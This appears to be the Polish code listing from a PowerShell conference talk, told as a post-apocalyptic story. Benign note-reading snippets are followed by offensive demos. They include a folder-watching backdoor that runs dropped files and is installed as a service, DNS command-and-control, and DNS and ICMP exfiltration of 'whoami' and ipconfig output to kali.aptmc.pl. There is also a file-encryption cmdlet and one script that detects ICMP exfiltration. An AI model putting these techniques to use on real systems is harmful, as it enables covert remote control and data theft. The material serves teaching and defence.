PowerShell: Level hard - czyli postapokaliptyczne poszukiwanie prawdy
Paweł Maziarz
Lista plików .txt
Get-ChildItem -Recurse -File -Include '*.txt' .\notes\
gci -r -file -i '*.txt' .\notes\
(gci -r -file -i '*.txt' .\notes\).Length
gci -r -file -i '*.txt' .\notes\ | measure
% -pv year {2024..2059}|% -pv month {1..12}|% {mkdir ("{0}/{1:d2}" -f $year,$month)}
Syntaza mowy
Add-Type -AssemblyName System.Speech
[Speech.Synthesis.SpeechSynthesizer]::new().Speak("Cześć, Konfidens!")
Add-Type -AssemblyName System.Speech
gci -r -file -i *.txt .\notes\ | % { [Speech.Synthesis.SpeechSynthesizer]::new().Speak("$($_.Name): $(gc -raw $_)")}
gci -r -file -i '*.txt' .\notes |% -b { Add-Type -AssemblyName System.Speech; $synth = [System.Speech.Synthesis.SpeechSynthesizer]::new() } -p { try{$s=$synth.SpeakAsync("Notatka $($_.Name): $(gc -Raw $_)"); while(!$s.IsCompleted){}} finally{ $synth.SpeakAsyncCancelAll()} }
Invoke-NotesSpeaker.ps1 - odczytywanie notatek z zapamiętaniem ostatnio przeczytanej
Add-Type -AssemblyName System.speech
$synth = [System.Speech.Synthesis.SpeechSynthesizer]::new()
$lastSpokenFilePath = ".lastSpokenFile"
$files = Get-ChildItem -Recurse -File -Include '*.txt' | Sort-Object -Property Name
$lastSpokenFile = Get-Content $lastSpokenFilePath -ea 0
$currentIndex = 0
if ($lastSpokenFile) {
for (;$currentIndex -lt $files.Length -and $files[$currentIndex].FullName -ne $lastSpokenFile; $currentIndex++) {}
if ($currentIndex -ge $files.Length) {
$currentIndex = 0
}
}
$synth.Speak("Liczba notatek to $($files.Length), zaczynam od notatki nr $currentIndex")
try {
Register-ObjectEvent $synth "SpeakCompleted"
$files[$currentIndex..($files.Length-1)] | % {
$content = Get-Content -Raw $_
$_.FullName | Out-File -Force $lastSpokenFilePath
Write-Output "Odczytuje notatke $($_.Name)"
$synth.SpeakAsync("Notatka $($_.Name)") | Out-Null
Wait-Event | Remove-Event
[void]$synth.SpeakAsync($content)
Wait-Event | Remove-Event
}
} finally {
$synth.SpeakAsyncCancelAll()
Write-Output "Done"
Get-Event | where Sender -like '*SpeechSynth*' | Remove-Event
Get-EventSubscriber | where EventName -eq "SpeakCompleted" | Unregister-Event
}
DarkExecutor.ps1 - monitorowanie nowych plików + execute
$path = "C:\Users\drg\Desktop\srv\exc"
$filter = "*.cmd"
$watcher = [IO.FileSystemWatcher]::new((Get-Item $path), $filter)
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
$executeAction = {
$filepath = $Event.SourceEventArgs.FullPath
try {
$content = Get-Content -Raw $filepath -ea 0
$result = (Invoke-Expression $content -ea 0) *>&1 | Out-String
} catch {
$result = $_.Exception
}
$result | Out-File "$($filepath).result"
Move-Item $filepath "$($filepath).done"
}
$job = Register-ObjectEvent $watcher "Created" -Action $executeAction -SourceIdentifier "NewCMDFile"
try {
While(1) { Wait-Event }
} finally {
Unregister-Event -SourceIdentifier "NewCMDFile"
Stop-Job $job -PassThru | Remove-Job
$watcher.IncludeSubdirectories = $false
$watcher.Dispose()
}
NSSM - przykładowa instalacja skryptu PowerShell jako usługi
$PowerShell = (Get-Command powershell).Source
$ServiceName = "Dark Executor"
$ServiceScript = "C:\Users\drg\Desktop\srv\DarkExecutor.ps1"
$PowerShellArgs = "-ep bypass -nop -f $ServiceScript"
nssm install $ServiceName $PowerShell $PowerShellArgs
nssm status $ServiceName
Set-Service $ServiceName -StartupType Automatic
Start-Service $ServiceName
Get-Service $ServiceName
Serwer DNS w PowerShellu
$port = 53
$clientEndpoint = [Net.IPEndPoint]::new([IPAddress]::Any, $port)
$udpClient = [Net.Sockets.UdpClient]::new($port)
$udpClient.Client.SetSocketOption(65535, [Net.Sockets.SocketOptionName]::ReuseAddress, $True)
$udpClient.Client.ReceiveTimeout = 3000
Write-Host "DNS server started. Listening on port $port.."
while ($true) {
Start-Sleep -Milliseconds 100
if($udpClient.Available) {
$data = $udpClient.Receive([ref]$clientEndpoint)
$query = [System.Text.Encoding]::ASCII.GetString($data, 12, $data.Length - 12) -replace "[\W]",""
Write-Host "Client IP: ", $clientEndpoint.Address.IPAddressToString, " -> $query"
if ($query -match "dark(.*)seeker") {
$hexCmd = $Matches[1]
$cmd = -join ($hexCmd -split "(.{2})" -match "."|% { [char][byte]"0x$_" })
Write-Host "Sending command $cmd to execute..."
}
$responsePacket = $data.Clone()
$responsePacket[2] = 129
$responsePacket[7] = 1
$responseAnswer = @(
192, 12,
0, 1,
0, 1,
0, 0, 0, 0,
0, 4,
127, 0, 0, 1
)
$responsePacket += $responseAnswer
[void]$udpClient.Send($responsePacket, $responsePacket.Length, $clientEndpoint)
}
}
Wysyłanie komend jako string HEX do serwera DNS:
filter thx { ($_.ToCharArray() | % { "{0:X2}" -f [int]$_ }) -join "" }
Resolve-DnsName "dark.$("whoami"|thx).seeker.local" -Server kali.aptmc.pl -Type A
Tworzenie własnego PSProvidera
dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org
dotnet new classlib --framework netstandard2.0 --name ExfilProvider
cd ExfilProvider
dotnet add package PowerShellStandard.Library
dotnet build
dotnet publish
Import-Module .\bin\Debug\netstandard2.0\ExfilProvider.dll
Get-PsProvider
New-Item -Path exfil:kali.aptmc.pl -Value (ipconfig|out-string)
Przykładowy provider
using System;
using System.Management.Automation;
using System.Management.Automation.Provider;
using System.Collections.ObjectModel;
using System.Net.NetworkInformation;
namespace ExfilProvider
{
[CmdletProvider("ExfilProvider", ProviderCapabilities.None)]
public class MyPowerShellProvider : NavigationCmdletProvider {
protected override Collection<PSDriveInfo> InitializeDefaultDrives() {
PSDriveInfo drive = new PSDriveInfo("exfil", this.ProviderInfo, "", "", null);
Collection<PSDriveInfo> drives = new Collection<PSDriveInfo>() { drive };
return drives;
}
protected override void GetChildItems(string path, bool recurse) {
WriteItemObject("ICMP", "icmp", true);
}
protected override void NewItem(string path, string itemTypeName, object newItemValue) {
SendPing(path, newItemValue.ToString());
WriteItemObject(newItemValue, path, false);
}
protected override bool IsValidPath(string path) { return true; }
protected override bool ItemExists(string path) { return true; }
protected override bool IsItemContainer(string path) { return true; }
protected void SendPing(string host, string payload) {
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
options.DontFragment = true;
options.Ttl = 64;
byte[] buffer = System.Text.Encoding.ASCII.GetBytes(payload);
int timeout = 120;
try {
PingReply reply = pingSender.Send(host, timeout, buffer, options);
if (reply.Status == IPStatus.Success) {
WriteVerbose("Ping succeeded.");
WriteVerbose($"RoundTrip time: {reply.RoundtripTime}ms");
WriteVerbose($"Time to live: {reply.Options.Ttl}");
}
else {
WriteVerbose($"Ping failed: {reply.Status}");
}
}
catch (PingException ex) {
WriteVerbose($"Ping failed: {ex.Message}");
}
}
}
}
Analiza pingów
& "C:\Program Files\Wireshark\tshark.exe" -i Wi-Fi -l -T ek "icmp[0]=8" | % {
$pkt = ($_ | ConvertFrom-Json)
if ($pkt.layers.icmp.data.data_data_data) {
$payload = -join ($pkt.layers.icmp.data.data_data_data -split ":" | % { [char][byte]"0x$_" })
$suspiciousCount = 0;
for ($i = 0; $i -lt $payload.Length - 1; $i++) {
if (($payload[$i + 1] - $payload[$i]) -ne 1) {
$suspiciousCount++
}
}
$suspiciousFactor = [int]($suspiciousCount / $payload.Length * 100)
$pkt.layers.ip.ip_ip_src + ": length=$($payload.Length), suspiciousFactor: $suspiciousFactor"
Write-Verbose $payload
}
}
Tworzenie własnego cmdleta
dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org
dotnet new classlib --framework netstandard2.0 --name DarkCrypt
dotnet add package PowerShellStandard.Library
dotnet build
dotnet publish
Import-Module .\bin\Debug\netstandard2.0\DarkCrypt.dll
Get-Module DarkCrypt
Cmdlet szyfrujący i deszyfrujący pliki
/* (c) 2059 Dark Seeker */
using System;
using System.IO;
using System.Text;
using System.Security;
using System.Management.Automation;
using System.Security.Cryptography;
namespace DarkCrypt
{
[Cmdlet(VerbsCommon.Lock, "DarkFile")]
public class InvokeDarkEncryptFile : Cmdlet {
[Alias("FileName")]
[Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)]
public string Path { get; set; }
[Parameter(Position = 1, ValueFromPipelineByPropertyName = true)]
public string Suffix { get; set; } = ".darkcrypted";
[Parameter(Position = 2, ValueFromPipelineByPropertyName = true)]
public string Passphrase { set; get; }
[Parameter(Position = 3, ValueFromPipelineByPropertyName = true)]
public string AdditionalInfo { set; get; } = "Plik zaszyfrowany DarkCrypterem";
protected override void ProcessRecord() {
WriteVerbose("Encrypting file " + Path);
FileEncryptor.EncryptFile(Path, Suffix, Passphrase, AdditionalInfo);
}
}
[Cmdlet(VerbsCommon.Unlock, "DarkFile")]
public class InvokeDarkDecryptFile : Cmdlet {
[Alias("FileName")]
[Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true, ValueFromPipelineByPropertyName = true)]
public string Path { get; set; }
[Parameter(Position = 1, ValueFromPipelineByPropertyName = true)]
public string Suffix { get; set; } = ".darkcrypted";
[Parameter(Position = 2, ValueFromPipelineByPropertyName = true)]
public string Passphrase { get; set; }
protected override void ProcessRecord() {
WriteVerbose("Decrypting file " + Path);
FileEncryptor.DecryptFile(Path, Suffix, Passphrase);
}
}
public static class FileEncryptor {
public static void EncryptFile(string filePath, string suffix, string passphrase, string additionalInfo) {
string encryptedFilePath = filePath + suffix;
using (Aes aes = Aes.Create()) {
byte[] salt = GenerateSalt();
aes.Key = GenerateKey(passphrase, salt, aes.KeySize);
aes.GenerateIV();
using (FileStream inputFileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) {
using (FileStream outputFileStream = new FileStream(encryptedFilePath, FileMode.Create, FileAccess.Write)) {
using (StreamWriter writer = new StreamWriter(outputFileStream, Encoding.ASCII, 1024, true)) {
writer.WriteLine(additionalInfo);
}
outputFileStream.Write(salt, 0, salt.Length);
outputFileStream.Write(aes.IV, 0, aes.IV.Length);
using (CryptoStream cryptoStream = new CryptoStream(outputFileStream, aes.CreateEncryptor(aes.Key, aes.IV), CryptoStreamMode.Write)) {
inputFileStream.CopyTo(cryptoStream);
}
}
}
}
}
public static void DecryptFile(string encryptedFilePath, string suffix, string passphrase) {
string decryptedFilePath = encryptedFilePath.Replace(suffix, "");
using (FileStream inputFileStream = new FileStream(encryptedFilePath, FileMode.Open, FileAccess.Read)) {
/* skipping additional info*/
while (inputFileStream.ReadByte() != '\n') { }
byte[] salt = new byte[32];
inputFileStream.Read(salt, 0, salt.Length);
using (Aes aes = Aes.Create()) {
aes.Key = GenerateKey(passphrase, salt, aes.KeySize);
byte[] iv = new byte[aes.IV.Length];
inputFileStream.Read(iv, 0, iv.Length);
using (FileStream outputFileStream = new FileStream(decryptedFilePath, FileMode.Create, FileAccess.Write)) {
using (CryptoStream cryptoStream = new CryptoStream(outputFileStream, aes.CreateDecryptor(aes.Key, iv), CryptoStreamMode.Write)) {
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputFileStream.Read(buffer, 0, buffer.Length)) > 0) {
cryptoStream.Write(buffer, 0, bytesRead);
}
cryptoStream.FlushFinalBlock();
}
}
}
}
}
private static byte[] GenerateKey(string passphrase, byte[] salt, int keySize) {
const int Iterations = 10000;
using (Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(passphrase, salt, Iterations)) {
return pbkdf2.GetBytes(keySize / 8);
}
}
private static byte[] GenerateSalt() {
const int SaltSize = 32;
using (RNGCryptoServiceProvider rngCsp = new RNGCryptoServiceProvider()) {
byte[] salt = new byte[SaltSize];
rngCsp.GetBytes(salt);
return salt;
}
}
}
}